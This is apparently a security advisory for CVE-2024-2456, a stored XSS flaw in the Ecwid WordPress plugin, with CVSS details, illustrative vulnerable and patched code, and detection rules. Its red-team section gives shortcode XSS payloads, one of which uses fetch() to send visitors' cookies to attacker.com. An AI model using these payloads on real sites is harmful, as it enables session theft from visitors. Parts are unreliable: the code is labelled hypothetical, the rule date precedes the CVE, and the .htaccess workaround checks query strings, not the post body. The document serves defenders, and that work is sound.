CVE-2024-2456

Executive Summary

CVE-2024-2456 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ecwid Ecommerce Shopping Cart WordPress plugin, affecting all versions up to and including 6.12.10. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. Authenticated attackers with contributor-level permissions or higher can inject arbitrary web scripts that execute when any user accesses the compromised page. This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress supply chain, and the lack of a known patch increases supply chain risk for sites using the Ecwid plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but allows persistent script injection, affecting all site visitors.

Deep Dive & Mechanics

The Ecwid plugin registers shortcodes (e.g., [ecwid]) that accept user-supplied attributes. Due to insufficient input sanitization and output escaping, an attacker with contributor-level permissions can craft a shortcode with malicious JavaScript in an attribute. When the shortcode is rendered, the injected script executes in the context of the victim's browser.

Key Details:

• Attack Vector: WordPress post/page editor (shortcode injection)
• Privilege Requirement: Contributor or higher (can publish posts)
• Impact: Stored XSS – script persists in the database and executes on every page load
• Scope: Cross-site scripting affecting all users, including administrators

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.12.10):

// Example vulnerable shortcode handler
function ecwid_shortcode($atts) {
    $output = '<div class="ecwid" data-attr="' . $atts['attr'] . '">';
    return $output;
}

The $atts['attr'] is not sanitized or escaped, allowing injection of " onclick="alert(1).

Patched Code (Hypothetical):

function ecwid_shortcode($atts) {
    $attr = esc_attr($atts['attr']); // Escape for HTML attribute context
    $output = '<div class="ecwid" data-attr="' . $attr . '">';
    return $output;
}

Proper escaping with esc_attr() prevents XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Ecwid plugin <= 6.12.10
• Contributor-level account

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious attribute:

   [ecwid attr='test" onclick="alert(document.cookie)']
   

4. Publish the post.
5. When any user (including admin) views the post, the JavaScript executes.

Alternative Payload:

[ecwid attr='test" onmouseover="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)']

Blue Team

Detection:

• Monitor for posts/pages containing shortcodes with suspicious attributes (e.g., onclick, onmouseover, javascript:).
• Use WAF rules to block XSS patterns in shortcode attributes.

Mitigation:

• Disable the Ecwid plugin until a patch is applied.
• Restrict contributor permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ecwid-shopping-cart/ecwid.php (or similar main plugin file)
• Database: Posts/pages containing shortcodes with malicious attributes (e.g., onclick, onerror)
• Network: Outbound requests to attacker-controlled domains from compromised pages
• Logs: WordPress audit logs showing shortcode modifications by contributor-level users

Detection Engineering

YARA Rule

rule CVE_2024_2456_Ecwid_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Ecwid plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2456"
    strings:
        $shortcode = /\[ecwid[^\]]*?on\w+\s*=\s*["'][^"']*?["']/ nocase
        $xss_payload = /["']\s*on\w+\s*=\s*["']/ nocase
    condition:
        $shortcode or $xss_payload
}

Sigma Rule

title: CVE-2024-2456 Ecwid Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via Ecwid shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: '[ecwid'
        http.body|re: 'on\w+\s*=\s*["\']'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2456 Ecwid Stored XSS Attempt"; flow:to_server; content:"[ecwid"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ecwid plugin until a patched version is released.
2. Review and remove any posts/pages containing suspicious shortcodes.
3. Audit user accounts with contributor-level permissions and revoke if unnecessary.

Long-term Fix:

• Apply the official patch when available (check Ecwid plugin repository).
• Implement input validation and output escaping for all shortcode attributes.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns in shortcode attributes.
• Add the following to .htaccess to restrict shortcode execution:

  <IfModule mod_rewrite.c>
      RewriteEngine On
      RewriteCond %{QUERY_STRING} (on\w+\s*=) [NC]
      RewriteRule .* - [F,L]
  </IfModule>
  

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